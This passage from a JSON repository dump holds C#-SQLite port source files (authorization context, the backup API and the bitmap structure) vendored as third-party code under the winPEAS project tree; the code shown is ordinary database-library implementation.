*zArg1,\nconst char *zArg2,\nconst char *zArg3\n){\nsqlite3 *db = pParse->db;\nint rc;\n\n/* Don't do any authorization checks if the database is initialising\n** or if the parser is being invoked from within sqlite3_declare_vtab.\n*/\nif( db->init.busy || IN_DECLARE_VTAB ){\nreturn SQLITE_OK;\n}\n\nif( db->xAuth==0 ){\nreturn SQLITE_OK;\n}\nrc = db->xAuth(db->pAuthArg, code, zArg1, zArg2, zArg3, pParse->zAuthContext);\nif( rc==SQLITE_DENY ){\nsqlite3ErrorMsg(pParse, \"not authorized\");\npParse->rc = SQLITE_AUTH;\n}else if( rc!=SQLITE_OK && rc!=SQLITE_IGNORE ){\nrc = SQLITE_DENY;\nsqliteAuthBadReturnCode(pParse);\n}\nreturn rc;\n}\n\n/*\n** Push an authorization context.  After this routine is called, the\n** zArg3 argument to authorization callbacks will be zContext until\n** popped.  Or if pParse==0, this routine is a no-op.\n*/\nvoid sqlite3AuthContextPush(\nParse *pParse,\nAuthContext *pContext,\nconst char *zContext\n){\nassert( pParse );\npContext->pParse = pParse;\npContext->zAuthContext = pParse->zAuthContext;\npParse->zAuthContext = zContext;\n}\n\n/*\n** Pop an authorization context that was previously pushed\n** by sqlite3AuthContextPush\n*/\nvoid sqlite3AuthContextPop(AuthContext *pContext){\nif( pContext->pParse ){\npContext->pParse->zAuthContext = pContext->zAuthContext;\npContext->pParse = 0;\n}\n}\n\n#endif //* SQLITE_OMIT_AUTHORIZATION */\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/backup_c.cs",
    "content": "using System;\nusing System.Diagnostics;\nusing i64 = System.Int64;\nusing u32 = System.UInt32;\n\nusing Pgno = System.UInt32;\n\n\nnamespace winPEAS._3rdParty.SQLite.src\n{\n    using DbPage = CSSQLite.PgHdr;\n  public partial class CSSQLite\n  {\n    /*\n    ** 2009 January 28\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    ** This file contains the implementation of the sqlite3_backup_XXX()\n    ** API functions and the related features.\n    **\n    ** $Id: backup.c,v 1.19 2009/07/06 19:03:13 drh Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n    //#include \"sqliteInt.h\"\n    //#include \"btreeInt.h\"\n\n    /* Macro to find the minimum of two numeric values.\n    */\n#if !MIN\n    //# define MIN(x,y) ((x)<(y)?(x):(y))\n#endif\n\n    /*\n** Structure allocated for each backup operation.\n*/\n    public class sqlite3_backup\n    {\n      public sqlite3 pDestDb;         /* Destination database handle */\n      public Btree pDest;             /* Destination b-tree file */\n      public u32 iDestSchema;         /* Original schema cookie in destination */\n      public int bDestLocked;         /* True once a write-transaction is open on pDest */\n\n      public Pgno iNext;              /* Page number of the next source page to copy */\n      public sqlite3 pSrcDb;          /* Source database handle */\n      public Btree pSrc;              /* Source b-tree file */\n\n      public int rc;                  /* Backup process error code */\n\n      /* These two variables are set by every call to backup_step(). They are\n      ** read by calls to backup_remaining() and backup_pagecount().\n      */\n      public Pgno nRemaining;         /* Number of pages left to copy */\n      public Pgno nPagecount;         /* Total number of pages to copy */\n\n      public int isAttached;          /* True once backup has been registered with pager */\n      public sqlite3_backup pNext;    /* Next backup associated with source pager */\n    };\n\n    /*\n    ** THREAD SAFETY NOTES:\n    **\n    **   Once it has been created using backup_init(), a single sqlite3_backup\n    **   structure may be accessed via two groups of thread-safe entry points:\n    **\n    **     * Via the sqlite3_backup_XXX() API function backup_step() and\n    **       backup_finish(). Both these functions obtain the source database\n    **       handle mutex and the mutex associated with the source BtShared\n    **       structure, in that order.\n    **\n    **     * Via the BackupUpdate() and BackupRestart() functions, which are\n    **       invoked by the pager layer to report various state changes in\n    **       the page cache associated with the source database. The mutex\n    **       associated with the source database BtShared structure will always\n    **       be held when either of these functions are invoked.\n    **\n    **   The other sqlite3_backup_XXX() API functions, backup_remaining() and\n    **   backup_pagecount() are not thread-safe functions. If they are called\n    **   while some other thread is calling backup_step() or backup_finish(),\n    **   the values returned may be invalid. There is no way for a call to\n    **   BackupUpdate() or BackupRestart() to interfere with backup_remaining()\n    **   or backup_pagecount().\n    **\n    **   Depending on the SQLite configuration, the database handles and/or\n    **   the Btree objects may have their own mutexes that require locking.\n    **   Non-sharable Btrees (in-memory databases for example), do not have\n    **   associated mutexes.\n    */\n\n    /*\n    ** Return a pointer corresponding to database zDb (i.e. \"main\", \"temp\")\n    ** in connection handle pDb. If such a database cannot be found, return\n    ** a NULL pointer and write an error message to pErrorDb.\n    **\n    ** If the \"temp\" database is requested, it may need to be opened by this\n    ** function. If an error occurs while doing so, return 0 and write an\n    ** error message to pErrorDb.\n    */\n    static Btree findBtree( sqlite3 pErrorDb, sqlite3 pDb, string zDb )\n    {\n      int i = sqlite3FindDbName( pDb, zDb );\n\n      if ( i == 1 )\n      {\n        Parse pParse;\n        int rc = 0;\n        pParse = new Parse();//sqlite3StackAllocZero(pErrorDb, sizeof(*pParse));\n        if ( pParse == null )\n        {\n          sqlite3Error( pErrorDb, SQLITE_NOMEM, \"out of memory\" );\n          rc = SQLITE_NOMEM;\n        }\n        else\n        {\n          pParse.db = pDb;\n          if ( sqlite3OpenTempDatabase( pParse ) != 0 )\n          {\n            sqlite3ErrorClear( pParse );\n            sqlite3Error( pErrorDb, pParse.rc, \"%s\", pParse.zErrMsg );\n            rc = SQLITE_ERROR;\n          }\n          //sqlite3StackFree( pErrorDb, pParse );\n        }\n        if ( rc != 0 )\n        {\n          return null;\n        }\n      }\n\n      if ( i < 0 )\n      {\n        sqlite3Error( pErrorDb, SQLITE_ERROR, \"unknown database %s\", zDb );\n        return null;\n      }\n\n      return pDb.aDb[i].pBt;\n    }\n\n    /*\n    ** Create an sqlite3_backup process to copy the contents of zSrcDb from\n    ** connection handle pSrcDb to zDestDb in pDestDb. If successful, return\n    ** a pointer to the new sqlite3_backup object.\n    **\n    ** If an error occurs, NULL is returned and an error code and error message\n    ** stored in database handle pDestDb.\n    */\n    public static sqlite3_backup sqlite3_backup_init(\n    sqlite3 pDestDb,                 /* Database to write to */\n    string zDestDb,                  /* Name of database within pDestDb */\n    sqlite3 pSrcDb,                  /* Database connection to read from */\n    string zSrcDb                    /* Name of database within pSrcDb */\n    )\n    {\n      sqlite3_backup p;                    /* Value to return */\n\n      /* Lock the source database handle. The destination database\n      ** handle is not locked in this routine, but it is locked in\n      ** sqlite3_backup_step(). The user is required to ensure that no\n      ** other thread accesses the destination handle for the duration\n      ** of the backup operation.  Any attempt to use the destination\n      ** database connection while a backup is in progress may cause\n      ** a malfunction or a deadlock.\n      */\n      sqlite3_mutex_enter( pSrcDb.mutex );\n      sqlite3_mutex_enter( pDestDb.mutex );\n\n      if ( pSrcDb == pDestDb )\n      {\n        sqlite3Error(\n        pDestDb, SQLITE_ERROR, \"source and destination must be distinct\"\n        );\n        p = null;\n      }\n      else\n      {\n        /* Allocate space for a new sqlite3_backup object */\n        p = new sqlite3_backup();// (sqlite3_backup)sqlite3_malloc( sizeof( sqlite3_backup ) );\n        //if ( null == p )\n        //{\n        //  sqlite3Error( pDestDb, SQLITE_NOMEM, 0 );\n        //}\n      }\n\n      /* If the allocation succeeded, populate the new object. */\n      if ( p != null )\n      {\n        // memset( p, 0, sizeof( sqlite3_backup ) );\n        p.pSrc = findBtree( pDestDb, pSrcDb, zSrcDb );\n        p.pDest = findBtree( pDestDb, pDestDb, zDestDb );\n        p.pDestDb = pDestDb;\n        p.pSrcDb = pSrcDb;\n        p.iNext = 1;\n        p.isAttached = 0;\n\n        if ( null == p.pSrc || null == p.pDest )\n        {\n          /* One (or both) of the named databases did not exist. An error has\n          ** already been written into the pDestDb handle. All that is left\n          ** to do here is free the sqlite3_backup structure.\n          */\n          //sqlite3_free( ref p );\n          p = null;\n        }\n      }\n\n      if ( p != null )\n      {\n        p.pSrc.nBackup++;\n      }\n\n      sqlite3_mutex_leave( pDestDb.mutex );\n      sqlite3_mutex_leave( pSrcDb.mutex );\n      return p;\n    }\n\n    /*\n    ** Argument rc is an SQLite error code. Return true if this error is\n    ** considered fatal if encountered during a backup operation. All errors\n    ** are considered fatal except for SQLITE_BUSY and SQLITE_LOCKED.\n    */\n    static bool isFatalError( int rc )\n    {\n      return ( rc != SQLITE_OK && rc != SQLITE_BUSY && ALWAYS( rc != SQLITE_LOCKED ) );\n    }\n\n    /*\n    ** Parameter zSrcData points to a buffer containing the data for\n    ** page iSrcPg from the source database. Copy this data into the\n    ** destination database.\n    */\n    static int backupOnePage( sqlite3_backup p, Pgno iSrcPg, byte[] zSrcData )\n    {\n      Pager pDestPager = sqlite3BtreePager( p.pDest );\n      int nSrcPgsz = sqlite3BtreeGetPageSize( p.pSrc );\n      int nDestPgsz = sqlite3BtreeGetPageSize( p.pDest );\n      int nCopy = MIN( nSrcPgsz, nDestPgsz );\n      i64 iEnd = (i64)iSrcPg * (i64)nSrcPgsz;\n\n      int rc = SQLITE_OK;\n      i64 iOff;\n\n      Debug.Assert( p.bDestLocked != 0 );\n      Debug.Assert( !isFatalError( p.rc ) );\n      Debug.Assert( iSrcPg != PENDING_BYTE_PAGE( p.pSrc.pBt ) );\n      Debug.Assert( zSrcData != null );\n\n      /* Catch the case where the destination is an in-memory database and the\n      ** page sizes of the source and destination differ.\n      */\n      if ( nSrcPgsz != nDestPgsz && sqlite3PagerIsMemdb( sqlite3BtreePager( p.pDest ) ) )\n      {\n        rc = SQLITE_READONLY;\n      }\n\n      /* This loop runs once for each destination page spanned by the source\n      ** page. For each iteration, variable iOff is set to the byte offset\n      ** of the destination page.\n      */\n      for ( iOff = iEnd - (i64)nSrcPgsz ; rc == SQLITE_OK && iOff < iEnd ; iOff += nDestPgsz )\n      {\n        DbPage pDestPg = null;\n        u32 iDest = (u32)( iOff / nDestPgsz ) + 1;\n        if ( iDest == PENDING_BYTE_PAGE( p.pDest.pBt ) ) continue;\n        if ( SQLITE_OK == ( rc = sqlite3PagerGet( pDestPager, iDest, ref pDestPg ) )\n        && SQLITE_OK == ( rc = sqlite3PagerWrite( pDestPg ) )\n        )\n        {\n          //string zIn = &zSrcData[iOff%nSrcPgsz];\n          byte[] zDestData = sqlite3PagerGetData( pDestPg );\n          //string zOut = &zDestData[iOff % nDestPgsz];\n\n          /* Copy the data from the source page into the destination page.\n          ** Then clear the Btree layer MemPage.isInit flag. Both this module\n          ** and the pager code use this trick (clearing the first byte\n          ** of the page 'extra' space to invalidate the Btree layers\n          ** cached parse of the page). MemPage.isInit is marked\n          ** \"MUST BE FIRST\" for this purpose.\n          */\n          Buffer.BlockCopy( zSrcData, (int)( iOff % nSrcPgsz ), zDestData, (int)( iOff % nDestPgsz ), nCopy );// memcpy( zOut, zIn, nCopy );\n          sqlite3PagerGetExtra( pDestPg ).isInit = 0;// ( sqlite3PagerGetExtra( pDestPg ) )[0] = 0;\n        }\n        sqlite3PagerUnref( pDestPg );\n      }\n\n      return rc;\n    }\n\n    /*\n    ** If pFile is currently larger than iSize bytes, then truncate it to\n    ** exactly iSize bytes. If pFile is not larger than iSize bytes, then\n    ** this function is a no-op.\n    **\n    ** Return SQLITE_OK if everything is successful, or an SQLite error\n    ** code if an error occurs.\n    */\n    static int backupTruncateFile( sqlite3_file pFile, int iSize )\n    {\n      int iCurrent = 0;\n      int rc = sqlite3OsFileSize( pFile, ref iCurrent );\n      if ( rc == SQLITE_OK && iCurrent > iSize )\n      {\n        rc = sqlite3OsTruncate( pFile, iSize );\n      }\n      return rc;\n    }\n\n    /*\n    ** Register this backup object with the associated source pager for\n    ** callbacks when pages are changed or the cache invalidated.\n    */\n    static void attachBackupObject( sqlite3_backup p )\n    {\n      sqlite3_backup pp;\n      Debug.Assert( sqlite3BtreeHoldsMutex( p.pSrc ) );\n      pp = sqlite3PagerBackupPtr( sqlite3BtreePager( p.pSrc ) );\n      p.pNext = pp;\n      sqlite3BtreePager( p.pSrc ).pBackup = p; //*pp = p;\n      p.isAttached = 1;\n    }\n\n    /*\n    ** Copy nPage pages from the source b-tree to the destination.\n    */\n    public static int sqlite3_backup_step( sqlite3_backup p, int nPage )\n    {\n      int rc;\n\n      sqlite3_mutex_enter( p.pSrcDb.mutex );\n      sqlite3BtreeEnter( p.pSrc );\n      if ( p.pDestDb != null )\n      {\n        sqlite3_mutex_enter( p.pDestDb.mutex );\n      }\n\n      rc = p.rc;\n      if ( !isFatalError( rc ) )\n      {\n        Pager pSrcPager = sqlite3BtreePager( p.pSrc );    /* Source pager */\n        Pager pDestPager = sqlite3BtreePager( p.pDest );   /* Dest pager */\n        int ii;                            /* Iterator variable */\n        int nSrcPage = -1;                 /* Size of source db in pages */\n        int bCloseTrans = 0;               /* True if src db requires unlocking */\n\n        /* If the source pager is currently in a write-transaction, return\n        ** SQLITE_BUSY immediately.\n        */\n        if ( p.pDestDb != null && p.pSrc.pBt.inTransaction == TRANS_WRITE )\n        {\n          rc = SQLITE_BUSY;\n        }\n        else\n        {\n          rc = SQLITE_OK;\n        }\n\n        /* Lock the destination database, if it is not locked already. */\n        if ( SQLITE_OK == rc && p.bDestLocked == 0\n        && SQLITE_OK == ( rc = sqlite3BtreeBeginTrans( p.pDest, 2 ) )\n        )\n        {\n          p.bDestLocked = 1;\n          sqlite3BtreeGetMeta( p.pDest, BTREE_SCHEMA_VERSION, ref p.iDestSchema );\n        }\n\n        /* If there is no open read-transaction on the source database, open\n        ** one now. If a transaction is opened here, then it will be closed\n        ** before this function exits.\n        */\n        if ( rc == SQLITE_OK && !sqlite3BtreeIsInReadTrans( p.pSrc ) )\n        {\n          rc = sqlite3BtreeBeginTrans( p.pSrc, 0 );\n          bCloseTrans = 1;\n        }\n\n        /* Now that there is a read-lock on the source database, query the\n        ** source pager for the number of pages in the database.\n        */\n        if ( rc == SQLITE_OK )\n        {\n          rc = sqlite3PagerPagecount( pSrcPager, ref nSrcPage );\n        }\n        for ( ii = 0 ; ( nPage < 0 || ii < nPage ) && p.iNext <= (Pgno)nSrcPage && 0 == rc ; ii++ )\n        {\n          Pgno iSrcPg = p.iNext;                 /* Source page number */\n          if ( iSrcPg != PENDING_BYTE_PAGE( p.pSrc.pBt ) )\n          {\n            DbPage pSrcPg = null;                             /* Source page object */\n            rc = sqlite3PagerGet( pSrcPager, (u32)iSrcPg, ref pSrcPg );\n            if ( rc == SQLITE_OK )\n            {\n              rc = backupOnePage( p, iSrcPg, sqlite3PagerGetData( pSrcPg ) );\n              sqlite3PagerUnref( pSrcPg );\n            }\n          }\n          p.iNext++;\n        }\n        if ( rc == SQLITE_OK )\n        {\n          p.nPagecount = (u32)nSrcPage;\n          p.nRemaining = (u32)( nSrcPage + 1 - p.iNext );\n          if ( p.iNext > (Pgno)nSrcPage )\n          {\n            rc = SQLITE_DONE;\n          }\n          else if ( 0 == p.isAttached )\n          {\n            attachBackupObject( p );\n          }\n        }\n\n\n          /* Update the schema version field in the destination database. This\n          ** is to make sure that the schema-version really does change in\n          ** the case where the source and destination databases have the\n          ** same schema version.\n          */\n        if ( rc == SQLITE_DONE\n         && ( rc = sqlite3BtreeUpdateMeta( p.pDest, 1, p.iDestSchema + 1 ) ) == SQLITE_OK\n        )\n        {\n          int nSrcPagesize = sqlite3BtreeGetPageSize( p.pSrc );\n          int nDestPagesize = sqlite3BtreeGetPageSize( p.pDest );\n          int nDestTruncate;\n          if ( p.pDestDb != null )\n          {\n            sqlite3ResetInternalSchema( p.pDestDb, 0 );\n          }\n\n          /* Set nDestTruncate to the final number of pages in the destination\n          ** database. The complication here is that the destination page\n          ** size may be different to the source page size.\n          **\n          ** If the source page size is smaller than the destination page size,\n          ** round up. In this case the call to sqlite3OsTruncate() below will\n          ** fix the size of the file. However it is important to call\n          ** sqlite3PagerTruncateImage() here so that any pages in the\n          ** destination file that lie beyond the nDestTruncate page mark are\n          ** journalled by PagerCommitPhaseOne() before they are destroyed\n          ** by the file truncation.\n          */\n          if ( nSrcPagesize < nDestPagesize )\n          {\n            int ratio = nDestPagesize / nSrcPagesize;\n            nDestTruncate = ( nSrcPage + ratio - 1 ) / ratio;\n            if ( nDestTruncate == (int)PENDING_BYTE_PAGE( p.pDest.pBt ) )\n            {\n              nDestTruncate--;\n            }\n          }\n          else\n          {\n            nDestTruncate = nSrcPage * ( nSrcPagesize / nDestPagesize );\n          }\n          sqlite3PagerTruncateImage( pDestPager, (u32)nDestTruncate );\n\n          if ( nSrcPagesize < nDestPagesize )\n          {\n            /* If the source page-size is smaller than the destination page-size,\n            ** two extra things may need to happen:\n            **\n            **   * The destination may need to be truncated, and\n            **\n            **   * Data stored on the pages immediately following the\n            **     pending-byte page in the source database may need to be\n            **     copied into the destination database.\n            */\n            u32 iSize = (u32)nSrcPagesize * (u32)nSrcPage;\n            sqlite3_file pFile = sqlite3PagerFile( pDestPager );\n\n            Debug.Assert( pFile != null );\n            Debug.Assert( (i64)nDestTruncate * (i64)nDestPagesize >= iSize || (\n            nDestTruncate == (int)( PENDING_BYTE_PAGE( p.pDest.pBt ) - 1 )\n            && iSize >= PENDING_BYTE && iSize <= PENDING_BYTE + nDestPagesize\n            ) );\n            if ( SQLITE_OK == ( rc = sqlite3PagerCommitPhaseOne( pDestPager, null, true ) )\n            && SQLITE_OK == ( rc = backupTruncateFile( pFile, (int)iSize ) )\n            && SQLITE_OK == ( rc = sqlite3PagerSync( pDestPager ) )\n            )\n            {\n              i64 iOff;\n              i64 iEnd = MIN( PENDING_BYTE + nDestPagesize, iSize );\n              for (\n              iOff = PENDING_BYTE + nSrcPagesize ;\n              rc == SQLITE_OK && iOff < iEnd ;\n              iOff += nSrcPagesize\n              )\n              {\n                PgHdr pSrcPg = null;\n                u32 iSrcPg = (u32)( ( iOff / nSrcPagesize ) + 1 );\n                rc = sqlite3PagerGet( pSrcPager, iSrcPg, ref pSrcPg );\n                if ( rc == SQLITE_OK )\n                {\n                  byte[] zData = sqlite3PagerGetData( pSrcPg );\n                  rc = sqlite3OsWrite( pFile, zData, nSrcPagesize, iOff );\n                }\n                sqlite3PagerUnref( pSrcPg );\n              }\n            }\n          }\n          else\n          {\n            rc = sqlite3PagerCommitPhaseOne( pDestPager, null, false );\n          }\n\n          /* Finish committing the transaction to the destination database. */\n          if ( SQLITE_OK == rc\n          && SQLITE_OK == ( rc = sqlite3BtreeCommitPhaseTwo( p.pDest ) )\n          )\n          {\n            rc = SQLITE_DONE;\n          }\n        }\n\n        /* If bCloseTrans is true, then this function opened a read transaction\n        ** on the source database. Close the read transaction here. There is\n        ** no need to check the return values of the btree methods here, as\n        ** \"committing\" a read-only transaction cannot fail.\n        */\n        if ( bCloseTrans != 0 )\n        {\n#if !NDEBUG || SQLITE_COVERAGE_TEST\n          //TESTONLY( int rc2 );\n          //TESTONLY( rc2  = ) sqlite3BtreeCommitPhaseOne(p.pSrc, 0);\n          //TESTONLY( rc2 |= ) sqlite3BtreeCommitPhaseTwo(p.pSrc);\n          int rc2;\n          rc2 = sqlite3BtreeCommitPhaseOne( p.pSrc, \"\" );\n          rc2 |= sqlite3BtreeCommitPhaseTwo( p.pSrc );\n          Debug.Assert( rc2 == SQLITE_OK );\n#else\nsqlite3BtreeCommitPhaseOne(p.pSrc, null);\nsqlite3BtreeCommitPhaseTwo(p.pSrc);\n#endif\n        }\n\n        p.rc = rc;\n      }\n      if ( p.pDestDb != null )\n      {\n        sqlite3_mutex_leave( p.pDestDb.mutex );\n      }\n      sqlite3BtreeLeave( p.pSrc );\n      sqlite3_mutex_leave( p.pSrcDb.mutex );\n      return rc;\n    }\n\n    /*\n    ** Release all resources associated with an sqlite3_backup* handle.\n    */\n    public static int sqlite3_backup_finish( sqlite3_backup p )\n    {\n      sqlite3_backup pp;                 /* Ptr to head of pagers backup list */\n      sqlite3_mutex mutex;               /* Mutex to protect source database */\n      int rc;                            /* Value to return */\n\n      /* Enter the mutexes */\n      if ( p == null ) return SQLITE_OK;\n      sqlite3_mutex_enter( p.pSrcDb.mutex );\n      sqlite3BtreeEnter( p.pSrc );\n      mutex = p.pSrcDb.mutex;\n      if ( p.pDestDb != null )\n      {\n        sqlite3_mutex_enter( p.pDestDb.mutex );\n      }\n\n      /* Detach this backup from the source pager. */\n      if ( p.pDestDb != null )\n      {\n        p.pSrc.nBackup--;\n      }\n      if ( p.isAttached != 0 )\n      {\n        pp = sqlite3PagerBackupPtr( sqlite3BtreePager( p.pSrc ) );\n        while ( pp != p )\n        {\n          pp = ( pp ).pNext;\n        }\n        sqlite3BtreePager( p.pSrc ).pBackup = p.pNext;\n      }\n\n      /* If a transaction is still open on the Btree, roll it back. */\n      sqlite3BtreeRollback( p.pDest );\n\n      /* Set the error code of the destination database handle. */\n      rc = ( p.rc == SQLITE_DONE ) ? SQLITE_OK : p.rc;\n      sqlite3Error( p.pDestDb, rc, 0 );\n\n      /* Exit the mutexes and free the backup context structure. */\n      if ( p.pDestDb != null )\n      {\n        sqlite3_mutex_leave( p.pDestDb.mutex );\n      }\n      sqlite3BtreeLeave( p.pSrc );\n      if ( p.pDestDb != null )\n      {\n        //sqlite3_free( ref p );\n      }\n      sqlite3_mutex_leave( mutex );\n      return rc;\n    }\n\n    /*\n    ** Return the number of pages still to be backed up as of the most recent\n    ** call to sqlite3_backup_step().\n    */\n    static int sqlite3_backup_remaining( sqlite3_backup p )\n    {\n      return (int)p.nRemaining;\n    }\n\n    /*\n    ** Return the total number of pages in the source database as of the most\n    ** recent call to sqlite3_backup_step().\n    */\n    static int sqlite3_backup_pagecount( sqlite3_backup p )\n    {\n      return (int)p.nPagecount;\n    }\n\n    /*\n    ** This function is called after the contents of page iPage of the\n    ** source database have been modified. If page iPage has already been\n    ** copied into the destination database, then the data written to the\n    ** destination is now invalidated. The destination copy of iPage needs\n    ** to be updated with the new data before the backup operation is\n    ** complete.\n    **\n    ** It is assumed that the mutex associated with the BtShared object\n    ** corresponding to the source database is held when this function is\n    ** called.\n    */\n    static void sqlite3BackupUpdate( sqlite3_backup pBackup, Pgno iPage, byte[] aData )\n    {\n      sqlite3_backup p;                   /* Iterator variable */\n      for ( p = pBackup ; p != null ; p = p.pNext )\n      {\n        Debug.Assert( sqlite3_mutex_held( p.pSrc.pBt.mutex ) );\n        if ( !isFatalError( p.rc ) && iPage < p.iNext )\n        {\n          /* The backup process p has already copied page iPage. But now it\n          ** has been modified by a transaction on the source pager. Copy\n          ** the new data into the backup.\n          */\n          int rc = backupOnePage( p, iPage, aData );\n          Debug.Assert( rc != SQLITE_BUSY && rc != SQLITE_LOCKED );\n          if ( rc != SQLITE_OK )\n          {\n            p.rc = rc;\n          }\n        }\n      }\n    }\n\n    /*\n    ** Restart the backup process. This is called when the pager layer\n    ** detects that the database has been modified by an external database\n    ** connection. In this case there is no way of knowing which of the\n    ** pages that have been copied into the destination database are still\n    ** valid and which are not, so the entire process needs to be restarted.\n    **\n    ** It is assumed that the mutex associated with the BtShared object\n    ** corresponding to the source database is held when this function is\n    ** called.\n    */\n    static void sqlite3BackupRestart( sqlite3_backup pBackup )\n    {\n      sqlite3_backup p;                   /* Iterator variable */\n      for ( p = pBackup ; p != null ; p = p.pNext )\n      {\n        Debug.Assert( sqlite3_mutex_held( p.pSrc.pBt.mutex ) );\n        p.iNext = 1;\n      }\n    }\n\n#if !SQLITE_OMIT_VACUUM\n    /*\n** Copy the complete content of pBtFrom into pBtTo.  A transaction\n** must be active for both files.\n**\n** The size of file pTo may be reduced by this operation. If anything\n** goes wrong, the transaction on pTo is rolled back. If successful, the\n** transaction is committed before returning.\n*/\n    static int sqlite3BtreeCopyFile( Btree pTo, Btree pFrom )\n    {\n      int rc;\n      sqlite3_backup b;\n      sqlite3BtreeEnter( pTo );\n      sqlite3BtreeEnter( pFrom );\n\n      /* Set up an sqlite3_backup object. sqlite3_backup.pDestDb must be set\n      ** to 0. This is used by the implementations of sqlite3_backup_step()\n      ** and sqlite3_backup_finish() to detect that they are being called\n      ** from this function, not directly by the user.\n      */\n      b = new sqlite3_backup();// memset( &b, 0, sizeof( b ) );\n      b.pSrcDb = pFrom.db;\n      b.pSrc = pFrom;\n      b.pDest = pTo;\n      b.iNext = 1;\n\n      /* 0x7FFFFFFF is the hard limit for the number of pages in a database\n      ** file. By passing this as the number of pages to copy to\n      ** sqlite3_backup_step(), we can guarantee that the copy finishes\n      ** within a single call (unless an error occurs). The Debug.Assert() statement\n      ** checks this assumption - (p.rc) should be set to either SQLITE_DONE\n      ** or an error code.\n      */\n      sqlite3_backup_step( b, 0x7FFFFFFF );\n      Debug.Assert( b.rc != SQLITE_OK );\n      rc = sqlite3_backup_finish( b );\n      if ( rc == SQLITE_OK )\n      {\n        pTo.pBt.pageSizeFixed = false;\n      }\n\n      sqlite3BtreeLeave( pFrom );\n      sqlite3BtreeLeave( pTo );\n      return rc;\n    }\n#endif //* SQLITE_OMIT_VACUUM */\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/bitvec_c.cs",
    "content": "using System;\nusing System.Diagnostics;\nusing i64 = System.Int64;\nusing u32 = System.UInt32;\nusing BITVEC_TELEM = System.Byte;\n\nnamespace winPEAS._3rdParty.SQLite.src\n{\n\n  public partial class CSSQLite\n  {\n    /*\n    ** 2008 February 16\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    ** This file implements an object that represents a fixed-length\n    ** bitmap.  Bits are numbered starting with 1.\n    **\n    ** A bitmap is used to record which pages of a database file have been\n    ** journalled during a transaction, or which pages have the \"dont-write\"\n    ** property.  Usually only a few pages are meet either condition.\n    ** So the bitmap is usually sparse and has low cardinality.\n    ** But sometimes (for example when during a DROP of a large table) most\n    ** or all of the pages in a database can get journalled.  In those cases,\n    ** the bitmap becomes dense with high cardinality.  The algorithm needs\n    ** to handle both cases well.\n    **\n    ** The size of the bitmap is fixed when the object is created.\n    **\n    ** All bits are clear when the bitmap is created.  Individual bits\n    ** may be set or cleared one at a time.\n    **\n    ** Test operations are about 100 times more common that set operations.\n    ** Clear operations are exceedingly rare.  There are usually between\n    ** 5 and 500 set operations per Bitvec object, though the number of sets can\n    ** sometimes grow into tens of thousands or larger.  The size of the\n    ** Bitvec object is the number of pages in the database file at the\n    ** start of a transaction, and is thus usually less than a few thousand,\n    ** but can be as large as 2 billion for a really big database.\n    **\n    ** @(#) $Id: bitvec.c,v 1.17 2009/07/25 17:33:26 drh Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n    //#include \"sqliteInt.h\"\n\n    /* Size of the Bitvec structure in bytes. */\n    const int BITVEC_SZ = 512;\n\n    /* Round the union size down to the nearest pointer boundary, since that's how\n    ** it will be aligned within the Bitvec struct. */\n    //#define BITVEC_USIZE     (((BITVEC_SZ-(3*sizeof(u32)))/sizeof(Bitvec*))*sizeof(Bitvec*))\n    const int BITVEC_USIZE = ( ( ( BITVEC_SZ - ( 3 * sizeof( u32 ) ) ) / 4 ) * 4 );\n\n    /* Type of the array \"element\" for the bitmap representation.\n    ** Should be a power of 2, and ideally, evenly divide into BITVEC_USIZE.\n    ** Setting this to the \"natural word\" size of your CPU may improve\n    ** performance. */\n    //#define BITVEC_TELEM     u8\n    //using BITVEC_TELEM     = System.Byte;\n\n    /* Size, in bits, of the bitmap element. */\n    //#define BITVEC_SZELEM    8\n    const int BITVEC_SZELEM = 8;\n\n    /* Number of elements in a bitmap array. */\n    //#define BITVEC_NELEM     (BITVEC_USIZE/sizeof(BITVEC_TELEM))\n    const int BITVEC_NELEM = ( BITVEC_USIZE / sizeof( BITVEC_TELEM ) );\n\n    /* Number of bits in the bitmap array. */\n    //#define BITVEC_NBIT      (BITVEC_NELEM*BITVEC_SZELEM)\n    const int BITVEC_NBIT = ( BITVEC_NELEM * BITVEC_SZELEM );\n\n    /* Number of u32 values in hash table. */\n    //#define BITVEC_NINT      (BITVEC_USIZE/sizeof(u32))\n    const int BITVEC_NINT = ( BITVEC_USIZE / sizeof( u32 ) );\n\n    /* Maximum number of entries in hash table before\n    ** sub-dividing and re-hashing. */\n    //#define BITVEC_MXHASH    (BITVEC_NINT/2)\n    const int BITVEC_MXHASH = ( BITVEC_NINT / 2 );\n\n    /* Hashing function for the aHash representation.\n    ** Empirical testing showed that the *37 multiplier\n    ** (an arbitrary prime)in the hash function provided\n    ** no fewer collisions than the no-op *1. */\n    //#define BITVEC_HASH(X)   (((X)*1)%BITVEC_NINT)\n    static u32 BITVEC_HASH( u32 X ) { return ( ( ( X ) * 1 ) % BITVEC_NINT ); }\n\n    const int BITVEC_NPTR = ( BITVEC_USIZE / 4 );//sizeof(Bitvec *));\n\n\n    /*\n    ** A bitmap is an instance of the following structure.\n    **\n    ** This bitmap records the existence of zero or more bits\n    ** with values between 1 and iSize, inclusive.\n    **\n    ** There are three possible representations of the bitmap.\n    ** If iSize<=BITVEC_NBIT, then Bitvec.u.aBitmap[] is a straight\n    ** bitmap.  The least significant bit is bit 1.\n    **\n    ** If iSize>BITVEC_NBIT and iDivisor==0 then Bitvec.u.aHash[] is\n    ** a hash table that will hold up to BITVEC_MXHASH distinct values.\n    **\n    ** Otherwise, the value i is redirected into one of BITVEC_NPTR\n    ** sub-bitmaps pointed to by 